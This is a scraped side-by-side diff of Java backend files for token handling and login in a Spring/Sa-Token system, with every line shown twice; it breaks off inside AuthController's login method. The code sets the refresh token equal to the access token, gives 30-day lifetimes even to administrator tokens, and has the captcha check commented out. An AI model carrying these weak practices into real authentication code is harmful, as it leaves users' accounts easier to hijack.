import java.io.Serializable; import java.io.Serializable;
import java.util.Objects; import java.util.Objects;
/** /**
* @author lanhai * @author lanhai
*/ */
@Slf4j @Slf4j
public class ServerResponseEntity<T> implements Serializable { public class ServerResponseEntity<T> implements Serializable {
/** /**
* 状态码 * 状态码
*/ */
private String code; private String code;
/** /**
* 信息 * 信息
*/ */
private String msg; private String msg;
/** /**
* 数据 * 数据
*/ */
private T data; private T data;
/** /**
* 版本 * 版本
*/ */
private String version; private String version;
/** /**
* 时间 * 时间
*/ */
private Long timestamp; private Long timestamp;
/* private String sign; /* private String sign;
public String getSign() { public String getSign() {
return sign; return sign;
} }
public void setSign(String sign) { public void setSign(String sign) {
this.sign = sign; this.sign = sign;
}*/ }*/
public String getCode() { public String getCode() {
return code; return code;
} }
public void setCode(String code) { public void setCode(String code) {
this.code = code; this.code = code;
} }
public String getMsg() { public String getMsg() {
return msg; return msg;
} }
public void setMsg(String msg) { public void setMsg(String msg) {
this.msg = msg; this.msg = msg;
} }
public T getData() { public T getData() {
return data; return data;
} }
public ServerResponseEntity setData(T data) { public ServerResponseEntity setData(T data) {
this.data = data; this.data = data;
return this; return this;
} }
public String getVersion() { public String getVersion() {
return version; return version;
} }
public void setVersion(String version) { public void setVersion(String version) {
this.version = version; this.version = version;
} }
public Long getTimestamp() { public Long getTimestamp() {
return timestamp; return timestamp;
} }
public void setTimestamp(Long timestamp) { public void setTimestamp(Long timestamp) {
this.timestamp = timestamp; this.timestamp = timestamp;
} }
public boolean isSuccess() { public boolean isSuccess() {
return Objects.equals(ResponseEnum.OK.value(), this.code); return Objects.equals(ResponseEnum.OK.value(), this.code);
} }
public boolean isFail() { public boolean isFail() {
return !Objects.equals(ResponseEnum.OK.value(), this.code); return !Objects.equals(ResponseEnum.OK.value(), this.code);
} }
public ServerResponseEntity() { public ServerResponseEntity() {
// 版本号 // 版本号
this.version = "1.0"; this.version = "1.0";
} }
public static <T> ServerResponseEntity<T> success(T data) { public static <T> ServerResponseEntity<T> success(T data) {
ServerResponseEntity<T> serverResponseEntity = new ServerResponseEntity<>(); ServerResponseEntity<T> serverResponseEntity = new ServerResponseEntity<>();
serverResponseEntity.setData(data); serverResponseEntity.setData(data);
serverResponseEntity.setCode(ResponseEnum.OK.value()); serverResponseEntity.setCode(ResponseEnum.OK.value());
serverResponseEntity.setTimestamp(System.currentTimeMillis()); serverResponseEntity.setTimestamp(System.currentTimeMillis());
serverResponseEntity.setMsg("success"); serverResponseEntity.setMsg("success");
return serverResponseEntity; return serverResponseEntity;
} }
public static <T> ServerResponseEntity<T> success() { public static <T> ServerResponseEntity<T> success() {
ServerResponseEntity<T> serverResponseEntity = new ServerResponseEntity<>(); ServerResponseEntity<T> serverResponseEntity = new ServerResponseEntity<>();
serverResponseEntity.setCode(ResponseEnum.OK.value()); serverResponseEntity.setCode(ResponseEnum.OK.value());
serverResponseEntity.setMsg(ResponseEnum.OK.getMsg()); serverResponseEntity.setMsg(ResponseEnum.OK.getMsg());
serverResponseEntity.setMsg("success"); serverResponseEntity.setMsg("success");
serverResponseEntity.setTimestamp(System.currentTimeMillis()); serverResponseEntity.setTimestamp(System.currentTimeMillis());
return serverResponseEntity; return serverResponseEntity;
} }
public static <T> ServerResponseEntity<T> success(Integer code, T data) { public static <T> ServerResponseEntity<T> success(Integer code, T data) {
return success(String.valueOf(code), data); return success(String.valueOf(code), data);
} }
public static <T> ServerResponseEntity<T> success(String code, T data) { public static <T> ServerResponseEntity<T> success(String code, T data) {
ServerResponseEntity<T> serverResponseEntity = new ServerResponseEntity<>(); ServerResponseEntity<T> serverResponseEntity = new ServerResponseEntity<>();
serverResponseEntity.setCode(code); serverResponseEntity.setCode(code);
serverResponseEntity.setData(data); serverResponseEntity.setData(data);
serverResponseEntity.setMsg("success"); serverResponseEntity.setMsg("success");
serverResponseEntity.setTimestamp(System.currentTimeMillis()); serverResponseEntity.setTimestamp(System.currentTimeMillis());
return serverResponseEntity; return serverResponseEntity;
} }
/** /**
* 前端显示失败消息 * 前端显示失败消息
* @param msg 失败消息 * @param msg 失败消息
* @return * @return
*/ */
public static <T> ServerResponseEntity<T> showFailMsg(String msg) { public static <T> ServerResponseEntity<T> showFailMsg(String msg) {
log.error(msg); log.error(msg);
ServerResponseEntity<T> serverResponseEntity = new ServerResponseEntity<>(); ServerResponseEntity<T> serverResponseEntity = new ServerResponseEntity<>();
serverResponseEntity.setMsg(msg); serverResponseEntity.setMsg(msg);
serverResponseEntity.setCode(ResponseEnum.SHOW_FAIL.value()); serverResponseEntity.setCode(ResponseEnum.SHOW_FAIL.value());
serverResponseEntity.setTimestamp(System.currentTimeMillis()); serverResponseEntity.setTimestamp(System.currentTimeMillis());
return serverResponseEntity; return serverResponseEntity;
} }
public static <T> ServerResponseEntity<T> fail(ResponseEnum responseEnum) { public static <T> ServerResponseEntity<T> fail(ResponseEnum responseEnum) {
log.error(responseEnum.toString()); log.error(responseEnum.toString());
ServerResponseEntity<T> serverResponseEntity = new ServerResponseEntity<>(); ServerResponseEntity<T> serverResponseEntity = new ServerResponseEntity<>();
serverResponseEntity.setMsg(responseEnum.getMsg()); serverResponseEntity.setMsg(responseEnum.getMsg());
serverResponseEntity.setCode(responseEnum.value()); serverResponseEntity.setCode(responseEnum.value());
serverResponseEntity.setTimestamp(System.currentTimeMillis()); serverResponseEntity.setTimestamp(System.currentTimeMillis());
return serverResponseEntity; return serverResponseEntity;
} }
public static <T> ServerResponseEntity<T> fail(ResponseEnum responseEnum, T data) { public static <T> ServerResponseEntity<T> fail(ResponseEnum responseEnum, T data) {
log.error(responseEnum.toString()); log.error(responseEnum.toString());
ServerResponseEntity<T> serverResponseEntity = new ServerResponseEntity<>(); ServerResponseEntity<T> serverResponseEntity = new ServerResponseEntity<>();
serverResponseEntity.setMsg(responseEnum.getMsg()); serverResponseEntity.setMsg(responseEnum.getMsg());
serverResponseEntity.setCode(responseEnum.value()); serverResponseEntity.setCode(responseEnum.value());
serverResponseEntity.setData(data); serverResponseEntity.setData(data);
serverResponseEntity.setTimestamp(System.currentTimeMillis()); serverResponseEntity.setTimestamp(System.currentTimeMillis());
return serverResponseEntity; return serverResponseEntity;
} }
public static <T> ServerResponseEntity<T> fail(String code, String msg, T data) { public static <T> ServerResponseEntity<T> fail(String code, String msg, T data) {
log.error(msg); log.error(msg);
ServerResponseEntity<T> serverResponseEntity = new ServerResponseEntity<>(); ServerResponseEntity<T> serverResponseEntity = new ServerResponseEntity<>();
serverResponseEntity.setMsg(msg); serverResponseEntity.setMsg(msg);
serverResponseEntity.setCode(code); serverResponseEntity.setCode(code);
serverResponseEntity.setData(data); serverResponseEntity.setData(data);
serverResponseEntity.setTimestamp(System.currentTimeMillis()); serverResponseEntity.setTimestamp(System.currentTimeMillis());
return serverResponseEntity; return serverResponseEntity;
} }
public static <T> ServerResponseEntity<T> fail(String code, String msg) { public static <T> ServerResponseEntity<T> fail(String code, String msg) {
return fail(code, msg, null); return fail(code, msg, null);
} }
public static <T> ServerResponseEntity<T> fail(Integer code, T data) { public static <T> ServerResponseEntity<T> fail(Integer code, T data) {
ServerResponseEntity<T> serverResponseEntity = new ServerResponseEntity<>(); ServerResponseEntity<T> serverResponseEntity = new ServerResponseEntity<>();
serverResponseEntity.setCode(String.valueOf(code)); serverResponseEntity.setCode(String.valueOf(code));
serverResponseEntity.setData(data); serverResponseEntity.setData(data);
serverResponseEntity.setTimestamp(System.currentTimeMillis()); serverResponseEntity.setTimestamp(System.currentTimeMillis());
return serverResponseEntity; return serverResponseEntity;
} }
@Override @Override
public String toString() { public String toString() {
return "ServerResponseEntity{" + return "ServerResponseEntity{" +
"code='" + code + '\'' + "code='" + code + '\'' +
", msg='" + msg + '\'' + ", msg='" + msg + '\'' +
", data=" + data + ", data=" + data +
", version='" + version + '\'' + ", version='" + version + '\'' +
", timestamp=" + timestamp + ", timestamp=" + timestamp +
// ", sign='" + sign + '\'' + // ", sign='" + sign + '\'' +
'}'; '}';
} }
} }

View File

@@ -1,38 +1,38 @@
/* /*
* Copyright (c) 2018-2999 广州市蓝海创新科技有限公司 All rights reserved. * Copyright (c) 2018-2999 广州市蓝海创新科技有限公司 All rights reserved.
* *
* https://www.mall4j.com/ * https://www.mall4j.com/
* *
* 未经允许,不可做商业用途! * 未经允许,不可做商业用途!
* *
* 版权所有,侵权必究! * 版权所有,侵权必究!
*/ */
package org.dromara.web.common; package org.dromara.web.common;
import lombok.Data; import lombok.Data;
/** /**
* token信息该信息存在redis中 * token信息该信息存在redis中
* *
* @author 菠萝凤梨 * @author 菠萝凤梨
* @date 2022/3/25 17:33 * @date 2022/3/25 17:33
*/ */
@Data @Data
public class TokenInfoBO { public class TokenInfoBO {
/** /**
* 保存在token信息里面的用户信息 * 保存在token信息里面的用户信息
*/ */
private UserInfoInTokenBO userInfoInToken; private UserInfoInTokenBO userInfoInToken;
private String accessToken; private String accessToken;
private String refreshToken; private String refreshToken;
/** /**
* 在多少秒后过期 * 在多少秒后过期
*/ */
private Integer expiresIn; private Integer expiresIn;
} }

View File

@@ -1,23 +1,23 @@
package org.dromara.web.common; package org.dromara.web.common;
import io.swagger.v3.oas.annotations.media.Schema; import io.swagger.v3.oas.annotations.media.Schema;
import lombok.Data; import lombok.Data;
/** /**
* token信息该信息用户返回给前端前端请求携带accessToken进行用户校验 * token信息该信息用户返回给前端前端请求携带accessToken进行用户校验
* *
* @author FrozenWatermelon * @author FrozenWatermelon
* @date 2020/7/2 * @date 2020/7/2
*/ */
@Data @Data
public class TokenInfoVO { public class TokenInfoVO {
@Schema(description = "accessToken" ) @Schema(description = "accessToken" )
private String accessToken; private String accessToken;
@Schema(description = "refreshToken" ) @Schema(description = "refreshToken" )
private String refreshToken; private String refreshToken;
@Schema(description = "在多少秒后过期" ) @Schema(description = "在多少秒后过期" )
private Integer expiresIn; private Integer expiresIn;
} }

View File

@@ -1,171 +1,171 @@
package org.dromara.web.common; package org.dromara.web.common;
import cn.dev33.satoken.stp.StpUtil; import cn.dev33.satoken.stp.StpUtil;
import cn.hutool.core.util.StrUtil; import cn.hutool.core.util.StrUtil;
import org.dromara.common.core.exception.user.UserException; import org.dromara.common.core.exception.user.UserException;
import org.dromara.common.redis.utils.RedisUtils; import org.dromara.common.redis.utils.RedisUtils;
import org.slf4j.Logger; import org.slf4j.Logger;
import org.slf4j.LoggerFactory; import org.slf4j.LoggerFactory;
import org.springframework.stereotype.Component; import org.springframework.stereotype.Component;
import org.springframework.util.CollectionUtils; import org.springframework.util.CollectionUtils;
import java.time.Duration; import java.time.Duration;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import java.util.Objects; import java.util.Objects;
/** /**
* token管理 1. 登陆返回token 2. 刷新token 3. 清除用户过去token 4. 校验token * token管理 1. 登陆返回token 2. 刷新token 3. 清除用户过去token 4. 校验token
* *
* @author FrozenWatermelon * @author FrozenWatermelon
* @date 2020/7/2 * @date 2020/7/2
*/ */
@Component @Component
public class TokenStore { public class TokenStore {
private static final Logger logger = LoggerFactory.getLogger(TokenStore.class); private static final Logger logger = LoggerFactory.getLogger(TokenStore.class);
// private final RedisTemplate<String, Object> redisTemplate; // private final RedisTemplate<String, Object> redisTemplate;
/*public TokenStore(RedisTemplate<String, Object> redisTemplate) { /*public TokenStore(RedisTemplate<String, Object> redisTemplate) {
this.redisTemplate = redisTemplate; this.redisTemplate = redisTemplate;
}*/ }*/
/** /**
* 以Sa-Token技术生成token并返回token信息 * 以Sa-Token技术生成token并返回token信息
* @param userInfoInToken * @param userInfoInToken
* @return * @return
*/ */
public TokenInfoBO storeAccessSaToken(UserInfoInTokenBO userInfoInToken) { public TokenInfoBO storeAccessSaToken(UserInfoInTokenBO userInfoInToken) {
//生成过期时间 //生成过期时间
int timeoutSecond = getExpiresIn(userInfoInToken.getSysType()); int timeoutSecond = getExpiresIn(userInfoInToken.getSysType());
Duration accessTokenExpires = Duration.ofSeconds(timeoutSecond); Duration accessTokenExpires = Duration.ofSeconds(timeoutSecond);
String uid = this.getUid(userInfoInToken.getSysType().toString(), userInfoInToken.getUserId()); String uid = this.getUid(userInfoInToken.getSysType().toString(), userInfoInToken.getUserId());
StpUtil.login(uid, timeoutSecond); StpUtil.login(uid, timeoutSecond);
String token = StpUtil.getTokenValue(); String token = StpUtil.getTokenValue();
// 用户信息存入缓存 token生成 // 用户信息存入缓存 token生成
String keyName = OauthCacheNames.USER_INFO + token; String keyName = OauthCacheNames.USER_INFO + token;
RedisUtils.deleteObject(keyName); RedisUtils.deleteObject(keyName);
RedisUtils.setCacheObject(keyName, userInfoInToken, accessTokenExpires); RedisUtils.setCacheObject(keyName, userInfoInToken, accessTokenExpires);
// 数据封装返回(token不用加密) // 数据封装返回(token不用加密)
TokenInfoBO tokenInfoBO = new TokenInfoBO(); TokenInfoBO tokenInfoBO = new TokenInfoBO();
tokenInfoBO.setUserInfoInToken(userInfoInToken); tokenInfoBO.setUserInfoInToken(userInfoInToken);
tokenInfoBO.setExpiresIn(timeoutSecond); tokenInfoBO.setExpiresIn(timeoutSecond);
tokenInfoBO.setAccessToken(token); tokenInfoBO.setAccessToken(token);
tokenInfoBO.setRefreshToken(token); tokenInfoBO.setRefreshToken(token);
return tokenInfoBO; return tokenInfoBO;
} }
/** /**
* 计算过期时间(单位:秒) * 计算过期时间(单位:秒)
* @param sysType * @param sysType
* @return * @return
*/ */
private int getExpiresIn(int sysType) { private int getExpiresIn(int sysType) {
// 3600秒 // 3600秒
int expiresIn = 3600; int expiresIn = 3600;
// 普通用户token过期时间 // 普通用户token过期时间
if (Objects.equals(sysType, 0)) { if (Objects.equals(sysType, 0)) {
expiresIn = expiresIn * 24 * 30; expiresIn = expiresIn * 24 * 30;
} }
// 系统管理员的token过期时间 // 系统管理员的token过期时间
if (Objects.equals(sysType, 1)) { if (Objects.equals(sysType, 1)) {
expiresIn = expiresIn * 24 * 30; expiresIn = expiresIn * 24 * 30;
} }
return expiresIn; return expiresIn;
} }
/** /**
* 根据accessToken 获取用户信息 * 根据accessToken 获取用户信息
* @param accessToken accessToken * @param accessToken accessToken
* @param needDecrypt 是否需要解密 * @param needDecrypt 是否需要解密
* @return 用户信息 * @return 用户信息
*/ */
public UserInfoInTokenBO getUserInfoByAccessToken(String accessToken, boolean needDecrypt) { public UserInfoInTokenBO getUserInfoByAccessToken(String accessToken, boolean needDecrypt) {
if (StrUtil.isBlank(accessToken)) { if (StrUtil.isBlank(accessToken)) {
throw new UserException("accessToken is blank"); throw new UserException("accessToken is blank");
} }
String keyName = OauthCacheNames.USER_INFO + accessToken; String keyName = OauthCacheNames.USER_INFO + accessToken;
Object redisCache = RedisUtils.getCacheObject(keyName); Object redisCache = RedisUtils.getCacheObject(keyName);
if (redisCache == null) { if (redisCache == null) {
throw new UserException("-2","登录过期,请重新登录"); throw new UserException("-2","登录过期,请重新登录");
} }
return (UserInfoInTokenBO) redisCache; return (UserInfoInTokenBO) redisCache;
} }
/** /**
* 刷新token并返回新的token * 刷新token并返回新的token
* @param refreshToken * @param refreshToken
* @return * @return
*/ */
public TokenInfoBO refreshToken(String refreshToken) { public TokenInfoBO refreshToken(String refreshToken) {
if (StrUtil.isBlank(refreshToken)) { if (StrUtil.isBlank(refreshToken)) {
throw new UserException("refreshToken is blank"); throw new UserException("refreshToken is blank");
} }
// 删除旧token // 删除旧token
UserInfoInTokenBO userInfoInTokenBO = getUserInfoByAccessToken(refreshToken, false); UserInfoInTokenBO userInfoInTokenBO = getUserInfoByAccessToken(refreshToken, false);
this.deleteCurrentToken(refreshToken); this.deleteCurrentToken(refreshToken);
// 保存一份新的token // 保存一份新的token
return storeAccessSaToken(userInfoInTokenBO); return storeAccessSaToken(userInfoInTokenBO);
} }
/** /**
* 删除指定用户的全部的token * 删除指定用户的全部的token
*/ */
public void deleteAllToken(String sysType, Long userId) { public void deleteAllToken(String sysType, Long userId) {
// 删除用户缓存 // 删除用户缓存
String uid = this.getUid(sysType, userId); String uid = this.getUid(sysType, userId);
List<String> tokens = StpUtil.getTokenValueListByLoginId(uid); List<String> tokens = StpUtil.getTokenValueListByLoginId(uid);
if (!CollectionUtils.isEmpty(tokens)) { if (!CollectionUtils.isEmpty(tokens)) {
List<String> keyNames = new ArrayList<>(); List<String> keyNames = new ArrayList<>();
for (String token : tokens) { for (String token : tokens) {
keyNames.add(OauthCacheNames.USER_INFO + token); keyNames.add(OauthCacheNames.USER_INFO + token);
} }
RedisUtils.deleteObject(keyNames); RedisUtils.deleteObject(keyNames);
} }
// 移除token // 移除token
StpUtil.logout(userId); StpUtil.logout(userId);
} }
/** /**
* 生成token并返回token展示信息 * 生成token并返回token展示信息
* @param userInfoInToken * @param userInfoInToken
* @return * @return
*/ */
public TokenInfoVO storeAndGetVo(UserInfoInTokenBO userInfoInToken) { public TokenInfoVO storeAndGetVo(UserInfoInTokenBO userInfoInToken) {
if (!userInfoInToken.getEnabled()){ if (!userInfoInToken.getEnabled()){
// 用户已禁用,请联系客服 // 用户已禁用,请联系客服
throw new UserException("用户已禁用,请联系客服"); throw new UserException("用户已禁用,请联系客服");
} }
TokenInfoBO tokenInfoBO = storeAccessSaToken(userInfoInToken); TokenInfoBO tokenInfoBO = storeAccessSaToken(userInfoInToken);
// 数据封装返回 // 数据封装返回
TokenInfoVO tokenInfoVO = new TokenInfoVO(); TokenInfoVO tokenInfoVO = new TokenInfoVO();
tokenInfoVO.setAccessToken(tokenInfoBO.getAccessToken()); tokenInfoVO.setAccessToken(tokenInfoBO.getAccessToken());
tokenInfoVO.setRefreshToken(tokenInfoBO.getRefreshToken()); tokenInfoVO.setRefreshToken(tokenInfoBO.getRefreshToken());
tokenInfoVO.setExpiresIn(tokenInfoBO.getExpiresIn()); tokenInfoVO.setExpiresIn(tokenInfoBO.getExpiresIn());
return tokenInfoVO; return tokenInfoVO;
} }
/** /**
* 删除当前登录的token * 删除当前登录的token
* @param accessToken 令牌 * @param accessToken 令牌
*/ */
public void deleteCurrentToken(String accessToken) { public void deleteCurrentToken(String accessToken) {
// 删除用户缓存 // 删除用户缓存
String keyName = OauthCacheNames.USER_INFO + accessToken; String keyName = OauthCacheNames.USER_INFO + accessToken;
RedisUtils.deleteObject(keyName); RedisUtils.deleteObject(keyName);
// 移除token // 移除token
StpUtil.logoutByTokenValue(accessToken); StpUtil.logoutByTokenValue(accessToken);
} }
/** /**
* 生成各系统唯一uid * 生成各系统唯一uid
* @param sysType 系统类型 * @param sysType 系统类型
* @param userId 用户id * @param userId 用户id
* @return * @return
*/ */
private String getUid(String sysType, Long userId) { private String getUid(String sysType, Long userId) {
return sysType + ":" + userId; return sysType + ":" + userId;
} }
} }

View File

@@ -1,71 +1,71 @@
/* /*
* Copyright (c) 2018-2999 广州市蓝海创新科技有限公司 All rights reserved. * Copyright (c) 2018-2999 广州市蓝海创新科技有限公司 All rights reserved.
* *
* https://www.mall4j.com/ * https://www.mall4j.com/
* *
* 未经允许,不可做商业用途! * 未经允许,不可做商业用途!
* *
* 版权所有,侵权必究! * 版权所有,侵权必究!
*/ */
package org.dromara.web.common; package org.dromara.web.common;
import lombok.Data; import lombok.Data;
import java.util.Set; import java.util.Set;
/** /**
* 保存在token信息里面的用户信息 * 保存在token信息里面的用户信息
* *
* @author 菠萝凤梨 * @author 菠萝凤梨
* @date 2022/3/25 17:33 * @date 2022/3/25 17:33
*/ */
@Data @Data
public class UserInfoInTokenBO { public class UserInfoInTokenBO {
/** /**
* 用户在自己系统的用户id * 用户在自己系统的用户id
*/ */
private Long userId; private Long userId;
/** /**
* 租户id (商家id) * 租户id (商家id)
*/ */
private Long shopId; private Long shopId;
/** /**
* 昵称 * 昵称
*/ */
private String nickName; private String nickName;
/** /**
* 系统类型 0:普通用户 1系统管理员 * 系统类型 0:普通用户 1系统管理员
* *
*/ */
private Integer sysType; private Integer sysType;
/** /**
* 是否是管理员 * 是否是管理员
*/ */
private Integer isAdmin; private Integer isAdmin;
/** /**
* 业务系统用户id * 业务系统用户id
*/ */
private String bizUserId; private String bizUserId;
/** /**
* 权限列表 * 权限列表
*/ */
private Set<String> perms; private Set<String> perms;
/** /**
* 状态 1 正常 0 无效 * 状态 1 正常 0 无效
*/ */
private Boolean enabled; private Boolean enabled;
/** /**
* 其他Id * 其他Id
*/ */
private Long otherId; private Long otherId;
} }

View File

@@ -1,45 +1,45 @@
package org.dromara.web.common; package org.dromara.web.common;
import io.swagger.v3.oas.annotations.media.Schema; import io.swagger.v3.oas.annotations.media.Schema;
import jakarta.validation.constraints.NotBlank; import jakarta.validation.constraints.NotBlank;
import lombok.Data; import lombok.Data;
import org.dromara.common.core.validate.AddGroup; import org.dromara.common.core.validate.AddGroup;
/** /**
* @author lh * @author lh
*/ */
@Data @Data
@Schema(description = "用户登录信息") @Schema(description = "用户登录信息")
public class UserRegisterParam { public class UserRegisterParam {
@Schema(description = "密码") @Schema(description = "密码")
private String passWord; private String passWord;
@Schema(description = "邮箱") @Schema(description = "邮箱")
private String userMail; private String userMail;
@Schema(description = "昵称") @Schema(description = "昵称")
private String nickName; private String nickName;
@Schema(description = "用户名") @Schema(description = "用户名")
private String userName; private String userName;
@Schema(description = "手机号") @Schema(description = "手机号")
@NotBlank(message = "手机号码不能为空", groups = { AddGroup.class}) @NotBlank(message = "手机号码不能为空", groups = { AddGroup.class})
private String mobile; private String mobile;
@Schema(description = "头像") @Schema(description = "头像")
private String img; private String img;
@Schema(description = "校验登陆注册验证码成功的标识") @Schema(description = "校验登陆注册验证码成功的标识")
private String checkRegisterSmsFlag; private String checkRegisterSmsFlag;
@Schema(description = "当账户未绑定时临时的uid") @Schema(description = "当账户未绑定时临时的uid")
private String tempUid; private String tempUid;
@Schema(description = "用户id") @Schema(description = "用户id")
private Long userId; private Long userId;
@Schema(description = "微信openId") @Schema(description = "微信openId")
private String openId; private String openId;
} }

View File

@@ -1,39 +1,39 @@
/* /*
* Copyright (c) 2018-2999 广州市蓝海创新科技有限公司 All rights reserved. * Copyright (c) 2018-2999 广州市蓝海创新科技有限公司 All rights reserved.
* *
* https://www.mall4j.com/ * https://www.mall4j.com/
* *
* 未经允许,不可做商业用途! * 未经允许,不可做商业用途!
* *
* 版权所有,侵权必究! * 版权所有,侵权必究!
*/ */
package org.dromara.web.common; package org.dromara.web.common;
import lombok.Data; import lombok.Data;
/** /**
* 用户详细信息 * 用户详细信息
* @author LGH * @author LGH
*/ */
@Data @Data
public class YamiUser { public class YamiUser {
/** /**
* 用户ID * 用户ID
*/ */
private Long userId; private Long userId;
private String bizUserId; private String bizUserId;
private Boolean enabled; private Boolean enabled;
/** /**
* 自提点Id * 自提点Id
*/ */
private Long stationId; private Long stationId;
/** /**
* 店铺Id * 店铺Id
*/ */
private Long shopId; private Long shopId;
} }

View File

@@ -1,247 +1,247 @@
package org.dromara.web.controller; package org.dromara.web.controller;
import cn.dev33.satoken.annotation.SaIgnore; import cn.dev33.satoken.annotation.SaIgnore;
import cn.dev33.satoken.exception.NotLoginException; import cn.dev33.satoken.exception.NotLoginException;
import cn.hutool.core.codec.Base64; import cn.hutool.core.codec.Base64;
import cn.hutool.core.collection.CollUtil; import cn.hutool.core.collection.CollUtil;
import cn.hutool.core.util.ObjectUtil; import cn.hutool.core.util.ObjectUtil;
import jakarta.servlet.http.HttpServletRequest; import jakarta.servlet.http.HttpServletRequest;
import lombok.RequiredArgsConstructor; import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
import me.zhyd.oauth.model.AuthResponse; import me.zhyd.oauth.model.AuthResponse;
import me.zhyd.oauth.model.AuthUser; import me.zhyd.oauth.model.AuthUser;
import me.zhyd.oauth.request.AuthRequest; import me.zhyd.oauth.request.AuthRequest;
import me.zhyd.oauth.utils.AuthStateUtils; import me.zhyd.oauth.utils.AuthStateUtils;
import org.anyline.util.encrypt.MD5Util; import org.anyline.util.encrypt.MD5Util;
import org.dromara.common.core.constant.SystemConstants; import org.dromara.common.core.constant.SystemConstants;
import org.dromara.common.core.domain.R; import org.dromara.common.core.domain.R;
import org.dromara.common.core.domain.model.LoginBody; import org.dromara.common.core.domain.model.LoginBody;
import org.dromara.common.core.domain.model.PasswordLoginBody; import org.dromara.common.core.domain.model.PasswordLoginBody;
import org.dromara.common.core.domain.model.RegisterBody; import org.dromara.common.core.domain.model.RegisterBody;
import org.dromara.common.core.domain.model.SocialLoginBody; import org.dromara.common.core.domain.model.SocialLoginBody;
import org.dromara.common.core.utils.*; import org.dromara.common.core.utils.*;
import org.dromara.common.encrypt.annotation.ApiEncrypt; import org.dromara.common.encrypt.annotation.ApiEncrypt;
import org.dromara.common.json.utils.JsonUtils; import org.dromara.common.json.utils.JsonUtils;
import org.dromara.common.json.utils.UserUtils; import org.dromara.common.json.utils.UserUtils;
import org.dromara.common.satoken.utils.LoginHelper; import org.dromara.common.satoken.utils.LoginHelper;
import org.dromara.common.social.config.properties.SocialLoginConfigProperties; import org.dromara.common.social.config.properties.SocialLoginConfigProperties;
import org.dromara.common.social.config.properties.SocialProperties; import org.dromara.common.social.config.properties.SocialProperties;
import org.dromara.common.social.utils.SocialUtils; import org.dromara.common.social.utils.SocialUtils;
import org.dromara.common.sse.dto.SseMessageDto; import org.dromara.common.sse.dto.SseMessageDto;
import org.dromara.common.sse.utils.SseMessageUtils; import org.dromara.common.sse.utils.SseMessageUtils;
import org.dromara.common.tenant.helper.TenantHelper; import org.dromara.common.tenant.helper.TenantHelper;
import org.dromara.system.domain.bo.SysTenantBo; import org.dromara.system.domain.bo.SysTenantBo;
import org.dromara.system.domain.vo.SysClientVo; import org.dromara.system.domain.vo.SysClientVo;
import org.dromara.system.domain.vo.SysTenantVo; import org.dromara.system.domain.vo.SysTenantVo;
import org.dromara.system.service.ISysClientService; import org.dromara.system.service.ISysClientService;
import org.dromara.system.service.ISysConfigService; import org.dromara.system.service.ISysConfigService;
import org.dromara.system.service.ISysSocialService; import org.dromara.system.service.ISysSocialService;
import org.dromara.system.service.ISysTenantService; import org.dromara.system.service.ISysTenantService;
import org.dromara.web.domain.vo.LoginTenantVo; import org.dromara.web.domain.vo.LoginTenantVo;
import org.dromara.web.domain.vo.LoginVo; import org.dromara.web.domain.vo.LoginVo;
import org.dromara.web.domain.vo.TenantListVo; import org.dromara.web.domain.vo.TenantListVo;
import org.dromara.web.service.IAuthStrategy; import org.dromara.web.service.IAuthStrategy;
import org.dromara.web.service.SysLoginService; import org.dromara.web.service.SysLoginService;
import org.dromara.web.service.SysRegisterService; import org.dromara.web.service.SysRegisterService;
import org.springframework.validation.annotation.Validated; import org.springframework.validation.annotation.Validated;
import org.springframework.web.bind.annotation.*; import org.springframework.web.bind.annotation.*;
import java.net.URL; import java.net.URL;
import java.nio.charset.StandardCharsets; import java.nio.charset.StandardCharsets;
import java.util.HashMap; import java.util.HashMap;
import java.util.List; import java.util.List;
import java.util.Map; import java.util.Map;
import java.util.concurrent.ScheduledExecutorService; import java.util.concurrent.ScheduledExecutorService;
import java.util.concurrent.TimeUnit; import java.util.concurrent.TimeUnit;
/** /**
* 认证 * 认证
* *
* @author Lion Li * @author Lion Li
*/ */
@Slf4j @Slf4j
@SaIgnore @SaIgnore
@RequiredArgsConstructor @RequiredArgsConstructor
@RestController @RestController
@RequestMapping("/auth") @RequestMapping("/auth")
public class AuthController { public class AuthController {
private final SocialProperties socialProperties; private final SocialProperties socialProperties;
private final SysLoginService loginService; private final SysLoginService loginService;
private final SysRegisterService registerService; private final SysRegisterService registerService;
private final ISysConfigService configService; private final ISysConfigService configService;
private final ISysTenantService tenantService; private final ISysTenantService tenantService;
private final ISysSocialService socialUserService; private final ISysSocialService socialUserService;
private final ISysClientService clientService; private final ISysClientService clientService;
private final ScheduledExecutorService scheduledExecutorService; private final ScheduledExecutorService scheduledExecutorService;
/** /**
* 登录方法 * 登录方法
* *
* @param body 登录信息 * @param body 登录信息
* @return 结果 * @return 结果
*/ */
@ApiEncrypt @ApiEncrypt
@PostMapping("/login") @PostMapping("/login")
public R<LoginVo> login(@RequestBody String body, HttpServletRequest request) { public R<LoginVo> login(@RequestBody String body, HttpServletRequest request) {
LoginBody loginBody = JsonUtils.parseObject(body, LoginBody.class); LoginBody loginBody = JsonUtils.parseObject(body, LoginBody.class);
ValidatorUtils.validate(loginBody); ValidatorUtils.validate(loginBody);
// 授权类型和客户端id // 授权类型和客户端id
String clientId = loginBody.getClientId(); String clientId = loginBody.getClientId();
String grantType = loginBody.getGrantType(); String grantType = loginBody.getGrantType();
SysClientVo client = clientService.queryByClientId(clientId); SysClientVo client = clientService.queryByClientId(clientId);
// validateCaptcha(body,request); // validateCaptcha(body,request);
// 查询不到 client 或 client 内不包含 grantType // 查询不到 client 或 client 内不包含 grantType
if (ObjectUtil.isNull(client) || !StringUtils.contains(client.getGrantType(), grantType)) { if (ObjectUtil.isNull(client) || !StringUtils.contains(client.getGrantType(), grantType)) {
log.info("客户端id: {} 认证类型:{} 异常!.", clientId, grantType); log.info("客户端id: {} 认证类型:{} 异常!.", clientId, grantType);
return R.fail(MessageUtils.message("auth.grant.type.error")); return R.fail(MessageUtils.message("auth.grant.type.error"));
} else if (!SystemConstants.NORMAL.equals(client.getStatus())) { } else if (!SystemConstants.NORMAL.equals(client.getStatus())) {
return R.fail(MessageUtils.message("auth.grant.type.blocked")); return R.fail(MessageUtils.message("auth.grant.type.blocked"));
} }
// 校验租户 // 校验租户
loginService.checkTenant(loginBody.getTenantId()); loginService.checkTenant(loginBody.getTenantId());
// 登录 // 登录
LoginVo loginVo = IAuthStrategy.login(body, client, grantType); LoginVo loginVo = IAuthStrategy.login(body, client, grantType);
Long userId = LoginHelper.getUserId(); Long userId = LoginHelper.getUserId();
